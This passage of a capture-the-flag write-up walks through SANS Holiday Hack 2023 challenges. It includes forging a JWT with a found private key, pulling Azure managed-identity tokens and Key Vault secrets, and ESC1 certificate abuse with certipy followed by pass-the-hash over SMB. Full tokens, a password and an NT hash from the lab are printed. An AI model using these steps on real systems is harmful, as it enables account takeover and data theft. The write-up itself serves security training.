  • Moving back to the Burp console, select the Proxy tab and start intercepting traffic, then open FireFox and navigate to https://captainscomms.com/jwtDefault/rMonitor.tok.

    • We can see the GET request is held in our Burp Intercept tab. We need to add an authorization header with our JWT to see the file. Copy and paste the radioUser JWT value from line 3 and insert it into line 8 of the request with the Authorization: Bearer header; then click Forward.

      Alt text

  • We just found the JWT for the radioMonitor user!

    Alt text

    • Now we can use the access level of radioMonitor to escalate privileges again. We know the Captain likes to use similar file naming conventions, so let’s see if the structure is the same for other users. With the Burp proxy on, navigate to https://captainscomms.com/jwtDefault/rDecoder.tok.

    • Using the same technique as before with our intercepted GET request, paste the JWT value for the radioMonitor user the in the Cookie and Authorization headers.

      Alt text

  • Now we have the JWT for the radioDecoder user!

    Alt text

  • With our token for radioDecoder ready, start the intercept proxy again and click on the Captian’s SDR (the laptop screen on his desk). Replace the Cookie and Authorization headers with the rDecoder.tok contents.

    Alt text

  • Our decoder role was able to successfully authenticate to the SDR. We have three sections to decode. We’ll need to stop intercepting in Burp to properly interact with each signal.

    Alt text

    • CW - This decoded signal shows us a hidden directory value containing the Captain’s private key: TH3CAPSPR1V4T3F0LD3R We should have have access to both the private and public keys now, we can grab them after decoding each message in the SDR.

      Alt text

    • NUM - The Audio-Text decoder presents us with an old type of crpytic message from a ’numbers’ station; similar to the Linconlnshire Poacher.

      Alt text

      • We receive two sets of numbers in this message. Comparing the format with Lincolnshire Poacher broadcasts, these numbers will correspond to a date and time. 12/24 at 1600 hours. (The trailing 9s will be omitted).
    • FX - The RadioFax decoder sent as an image with the frequency: 10426 Hz.

      Alt text

  • We have all of the information to mislead the miscreants, now we need to escalate privileges one last time. We have a clue in the Captain’s notes for where he stored the public key. Let’s see if we can find that using the radioDecoder permissions.

  • We now have everything we need to generate our own JWT and assume the highest level of access. Let’s use Bard to help us write a Python program we can use to generate a JWT.

    Alt text

  • We can almost plug and play the code that Bard provided, we just need to insert our payload values.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    import jwt
    from cryptography.hazmat.primitives import serialization
    
    # Load PEM-formatted private key
    with open("private.pem", "rb") as key_file:
        private_key = serialization.load_pem_private_key(
            key_file.read(),
        )
    
    # Construct payload
    payload = {
        "iss": "HHC 2023 Captain's Comms",
        "iat": 1699485795.3403327,
        "exp": 1809937395.3403327,
        "aud": "Holiday Hack 2023",
        "role": "GeeseIslandsSuperChiefCommunicationsOfficer"
    }
    
    # Generate JWT with RS256 algorithm
    token = jwt.encode(payload, private_key, algorithm="RS256")
    
    print("Generated JWT:", token)
    
    • Our program generates the following JWT under the GeeseIslandsSuperChiefCommunicationsOfficer context, granting the final level of access we need to broadcast our message.
    eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
    

    Alt text

  • Now we can go back to our proxy to interact with the Captain’s Transmitter. Insert our newly created JWT for access.

    Alt text

  • We have access to broadcast a message, input the following settings and press the TX button to complete the challenge!!

    • Frequency: 10426,

    • Go-Date 1224

    • Go-Time 1200 (4-hrs early to lure the miscreants in)

      Alt text


Active Directory #

Difficulty: πŸŽ„πŸŽ„πŸŽ„πŸŽ„

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?
  • This challenge picks up where Certificate SSHenanigans left off. Let’s log back into the ssh-server-vm with Alabaster’s key.

    ssh -i alabaster-cert.pub -i alabaster alabaster@ssh-server-vm.santaworkshopgeeseislands.org
    
  • Alabaster left some impacket tools in his home directory. Those will help us soon, but before we can use them, we need to enumerate the domain and our Azure vm instane further.

Azure AD Enumeration

  • Using the subscription hosting the Azure Linux VM, we can enumerate the resources with the following command:

    curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwNDQzOTg1MCwibmJmIjoxNzA0NDM5ODUwLCJleHAiOjE3MDQ1MjY1NTAsImFpbyI6IkUyVmdZT0RlT20zQ2hOclhNWE1lbFQzK09YTjdBZ0E9IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQUZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IkxCbHJfOVRsbzBlWGhfTDVjY0oxQmciLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOjE2OTg0MTc1NTd9.vafTrGDxRPkL2k5y80nZsn8l47tGKbBHBLsFzFL00YLAGvE54LmTFXQBAMElveIP8xNpWLbUAhZbYcPIyjL2JGogg7fOVrUc1ZcD_swNRVnpyeljchPHcizfxrYJxL-5_sNzARdmVZ9T8W-dPY1BEc2x9W75PHKJ9pFBvxw9Nmy6G96gHVgpot8myPJ8_fkPUUwZP8SFBYYKgD2fm4MinJHHsLA-utfcLsdoG8gdZweP3v2pd-Vy3uWD21YHuHsMVoJkTNPZ3Y6jfvo8NWwyPQyjZ26WFT50KRnBZFnx202_qqP-xvzbuumoxNKpAZq-Lh44u-Ik_aEz5Bn3w6uc7w" \
    -X GET https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2021-04-01 | jq
    

    Alt text

  • Next, we need to see if either vault has access policies. We have some on the northpole-ssh-certs.kv vault. We can use the following command to determine there are permissions for keys, secrets, certificates, and storage.

    curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwNDQzOTg1MCwibmJmIjoxNzA0NDM5ODUwLCJleHAiOjE3MDQ1MjY1NTAsImFpbyI6IkUyVmdZT0RlT20zQ2hOclhNWE1lbFQzK09YTjdBZ0E9IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQUZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IkxCbHJfOVRsbzBlWGhfTDVjY0oxQmciLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOjE2OTg0MTc1NTd9.vafTrGDxRPkL2k5y80nZsn8l47tGKbBHBLsFzFL00YLAGvE54LmTFXQBAMElveIP8xNpWLbUAhZbYcPIyjL2JGogg7fOVrUc1ZcD_swNRVnpyeljchPHcizfxrYJxL-5_sNzARdmVZ9T8W-dPY1BEc2x9W75PHKJ9pFBvxw9Nmy6G96gHVgpot8myPJ8_fkPUUwZP8SFBYYKgD2fm4MinJHHsLA-utfcLsdoG8gdZweP3v2pd-Vy3uWD21YHuHsMVoJkTNPZ3Y6jfvo8NWwyPQyjZ26WFT50KRnBZFnx202_qqP-xvzbuumoxNKpAZq-Lh44u-Ik_aEz5Bn3w6uc7w" \
    -X GET https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv?api-version=2022-07-01 | jq
    

    Alt text

  • Now that we know the accessPolicy vault names and types for the northpole-rg1 resource group, let’s write a script to try accessing each name/type combination. If we do have access to any of them, we’ll collect the secret URI for the vault.

    • Save the contents below into a file and run grab-secretUri.sh

      #!/bin/bash
      authToken="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwNDQzOTg1MCwibmJmIjoxNzA0NDM5ODUwLCJleHAiOjE3MDQ1MjY1NTAsImFpbyI6IkUyVmdZT0RlT20zQ2hOclhNWE1lbFQzK09YTjdBZ0E9IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQUZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IkxCbHJfOVRsbzBlWGhfTDVjY0oxQmciLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOjE2OTg0MTc1NTd9.vafTrGDxRPkL2k5y80nZsn8l47tGKbBHBLsFzFL00YLAGvE54LmTFXQBAMElveIP8xNpWLbUAhZbYcPIyjL2JGogg7fOVrUc1ZcD_swNRVnpyeljchPHcizfxrYJxL-5_sNzARdmVZ9T8W-dPY1BEc2x9W75PHKJ9pFBvxw9Nmy6G96gHVgpot8myPJ8_fkPUUwZP8SFBYYKgD2fm4MinJHHsLA-utfcLsdoG8gdZweP3v2pd-Vy3uWD21YHuHsMVoJkTNPZ3Y6jfvo8NWwyPQyjZ26WFT50KRnBZFnx202_qqP-xvzbuumoxNKpAZq-Lh44u-Ik_aEz5Bn3w6uc7w" \
      
      vaults=(
          "northpole-it-kv"
          "northpole-ssh-certs.kv"
      )
      
      types=(
          'keys'
          'secrets'
          'certifications'
          'storage'
      )
      
      for vault in "${vaults[@]}"; do
          for type in "${types[@]}"; do
              output=$(curl -s -H "Authorization: Bearer $authToken" -X GET "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/$vault/$type?api-version=2022-07-01" | jq -r '.value[0].properties.secretUriWithVersion' 2>/dev/null)
      
              # Check if output is neither null nor an empty string before printing
              if [ -n "$output" ] && [ "$output" != "null" ]; then
                  echo "$output"
              fi
          done
      done
      

      Alt text

  • It’s not the most elegant solution, but we found access to one of the vaults and the corresponding secret URI. Let’s keep enumerating.

  • Now, before we can attempt to access the vault, we need to generate a vault access token. We can do that with:

    curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' -H Metadata:true | jq
    
    • Vault Access Token:

      {
        "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQ0OTIyOTUsIm5iZiI6MTcwNDQ5MjI5NSwiZXhwIjoxNzA0NTc4OTk1LCJhaW8iOiJFMlZnWUxoeklOQ29UOE5DZGYzZHlnWGFKUnBPQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiUFdRMnY5OHRyMHlZYkVBY0xVQlRDQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.kxpTrM8g-xDQPgqX9uezsNLbqmAtMYOc5wEazqrKh_gPA3NHJeum3x5iVxPeLC6E8S29E0tBb3MyZzJ2OJjmi_DXD9USj2nFvXLAGqkc9NA6DKDsprF-2KgndfFBAvyiupG2caw6k4Ps4Eq6Kz7zvnTtfBa3cJxM8WYkNIvDrSm_RbKczt0IgSFGdwU7FkRBE688E6a4x2CqTQLpYE5bFSeAgXXVXKK6Z4OYXxaIRwuP7aJZxCzMgpblMIWL1lMxNOd4ttmikdVQ66SPQWB_7WsghcpV9phmvNx3wJ9WebUORMN_MOJ_sTFfmtlkNXO0IV7OPuKvi204OkLN8PlxoQ",
        "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
        "expires_in": "85989",
        "expires_on": "1704578995",
        "ext_expires_in": "86399",
        "not_before": "1704492295",
        "resource": "https://vault.azure.net",
        "token_type": "Bearer"
      }
      
  • Now we can take the new vault token and try to access the vault resources with the secret URI from above.

    curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQ0OTIyOTUsIm5iZiI6MTcwNDQ5MjI5NSwiZXhwIjoxNzA0NTc4OTk1LCJhaW8iOiJFMlZnWUxoeklOQ29UOE5DZGYzZHlnWGFKUnBPQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiUFdRMnY5OHRyMHlZYkVBY0xVQlRDQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.kxpTrM8g-xDQPgqX9uezsNLbqmAtMYOc5wEazqrKh_gPA3NHJeum3x5iVxPeLC6E8S29E0tBb3MyZzJ2OJjmi_DXD9USj2nFvXLAGqkc9NA6DKDsprF-2KgndfFBAvyiupG2caw6k4Ps4Eq6Kz7zvnTtfBa3cJxM8WYkNIvDrSm_RbKczt0IgSFGdwU7FkRBE688E6a4x2CqTQLpYE5bFSeAgXXVXKK6Z4OYXxaIRwuP7aJZxCzMgpblMIWL1lMxNOd4ttmikdVQ66SPQWB_7WsghcpV9phmvNx3wJ9WebUORMN_MOJ_sTFfmtlkNXO0IV7OPuKvi204OkLN8PlxoQ" \
    -X GET https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d?api-version=7.4 | jq
    
    • Success!! We found some PowerShell syntax with user secrets in the vault.

      Alt text

      • Cleaned up output:

        # Import Active Directory module
        Import-Module ActiveDirectory
        
        # Set user information
        $UserName = "elfy"
        $UserDomain = "northpole.local"
        $UserUPN = "$UserName@$UserDomain"
        $Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force
        $DCIP = "10.0.0.53"
        
        # Create a new Active Directory user
        New-ADUser -UserPrincipalName $UserUPN `
                -Name $UserName `
                -GivenName $UserName `
                -Surname "" `
                -Enabled $true `
                -AccountPassword $Password `
                -Server $DCIP `
                -PassThru
        

File Share Exploitation

  • Now that we have some valid credentials, let’s do some more recon. Using smbclient.py let’s see if we can find any shares

    alabaster@ssh-server-vm:~/impacket$ ./smbclient.py northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53 -dc-ip 10.0.0.53
    
    • We found the share, but don’t have access with the elfy user. If we cat out the contents of todo.txt, this appears to be by design. We’ll have to see if we can gain access with another account.

      Alt text

  • Let’s do some user recon to see if we can find other user profiles on the share

    ./GetADUsers.py -all northpole.local/elfy:'J4`ufC49/J4766' -dc-ip 10.0.0.53
    

    Alt text

  • With a previous login time, we might be able to leverage wombleycube's stored hash, let’s explore more of the Impacket toolkit.

  • After researching the tools, maybe we can abuse the Active Directory Certificate Services (AD CS), or even generate one. Using Certipy from the Impacket toolkit, let’s learn more about the configuration.

    ./certipy find -u elfy@northpole.local -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53
    

    Alt text

  • We have some outputs, let’s take a look at 20240106013853_Certipy.json

    cat 20240106013853_Certipy.json | jq
    

    Alt text

  • It looks like the NorthPoleUsers template is vulnerable to ESC1, which is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

  • Let’s see if we can request a certificate as elfy but input the SAN as wombleycube@northpole.local

    certipy req -username elfy@northpole.local -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -target 10.0.0.53 -template NorthPoleUsers -upn wombleycube@northpole.local -ns 10.0.0.53 -dns npdc01.northpole.local
    

    Alt text

  • Now, using our newly created certificate and certipy again, let’s see if we can steal an NT hash to authenticate to the fileshare as wombleycube

    certipy auth -pfx wombleycube_npdc01.pfx -dc-ip 10.0.0.53
    

    Alt text

  • Sweet! We got a hash, let’s try to pass it for authentication to the fileshare.

    python3 smbclient.py northpole.local/wombleycube@10.0.0.53 -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.53
    

    Alt text

    Answer: InstructionsForEnteringSatelliteGroundStation.txt

  • While we’re here, let’s view the contents of the secret file!

    cat InstructionsForEnteringSatelliteGroundStation.txt
    

    Alt text

    • Bingo! Now we have the phrase we need to get through the door on Space Island!

      And he whispered, ‘Now I shall be out of sight;

      So through the valley and over the height.’

      And he’ll silently take his way.


Film Noir Island #

Na’an #

Difficulty: πŸŽ„πŸŽ„

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!
  • We have a hint about Python NaN Injection on our badge, we can use nan as the value for one of our cards that will always be interpreted larger than 9, allowing us to win every time!

    Alt text


KQL Kraken Hunt #

Difficulty: πŸŽ„πŸŽ„

Greetings, rookie. Tangle Coalbox of Kusto Detective Agency here.
I’ve got a network infection case on Film Noir Island that needs your expertise.
Seems like someone clicked a phishing link within a client’s organization, and trouble’s brewing.
I’m swamped with cases, so I need an extra pair of hands. You up for the challenge?
You’ll be utilizing the Azure Data Explorer and those KQL skills of yours to investigate this incident.
Before you start, you’ll need to create a free cluster.
Keep your eyes peeled for suspicious activity.
IP addresses, and patterns that’ll help us crack this case wide open.
Remember, kid, time is of the essence. The sooner we can resolve this issue, the better.
If you run into any problems, just give me a holler, I’ve got your back.
Good hunting, and let’s bring this cyber criminal to justice.
Once you’ve got the intel we need, report back and we’ll plan our next move. Stay sharp, rookie.

Onboarding - Welcome to SANS Holiday Hack 2023!

  • How many Craftperson Elf’s are working from laptops?

    • Using the Employees table, we can filter on the role and if the hostname has “LAPTOP”. Then, we can futher refine our results by using the distinct query to elimiate duplicate entries.

      Employees
      | where role == "Craftsperson Elf"
      | where hostname has "LAPTOP"
      | distinct hostname
      | count
      

      Alt text

      Answer: 25

Case 1 - Welcome to Operation Giftwrap: Defending the Geese Island network.

  • Q1: What was the email address of the employee who received this phishing email?

    • We can structure our query to first look at the malicious url, then correlate the IP address with the employee. From those results, we’ll know who it was and what their email address is:

      OutboundNetworkEvents
      | where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
      
      Employees
      | where ip_addr == "10.10.0.4"
      | distinct name, email_addr
      

      Alt text

      Q1 Answer: alabaster_snowball@santaworkshopgeeseislands.org

  • Q2: What was the email address that was used to send this spear phishing email?

    • Now that we know who recieved the phishing email, we can filter within the Email table using the malicious link again.

      Email
      | where link == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
      | distinct sender, subject, recipient
      

      Alt text

      Q2 Answer: cwombley@gmail.com

  • Q3: What was the subject line used in the spear phishing email?

    • We have this answer from our previous query.

      Q3 Answer: [EXTERNAL] Invoice foir reindeer food past due

Case 2 - Someone got phished! Let’s dig deeper on the victim…

  • We can find all three of these answers from a single query. We know the victim is Alabaster Snowball so we can query based on name, then filter the results to answer each question.

    Employees
    | where name == "Alabaster Snowball"
    | distinct name, role, ip_addr, hostname
    

    Alt text

    • Q1: What is the role of our victim in the organization?

      Q1 Answer: Head Elf

    • Q2: What is the hostname of the victim’s machine?

      Q2 Answer: Y1US-DESKTOP

    • Q3: What is the source IP linked to the victim?

      Q3 Answer: 10.10.0.4

Case 3 - That’s not good. What happened next?

  • Q1: What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs!

    • We can query the OutboundNetworkEvents table for the malicious URL, then isolate the timestamp.

      OutboundNetworkEvents
      | where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
      | distinct timestamp, src_ip, url
      

      Alt text

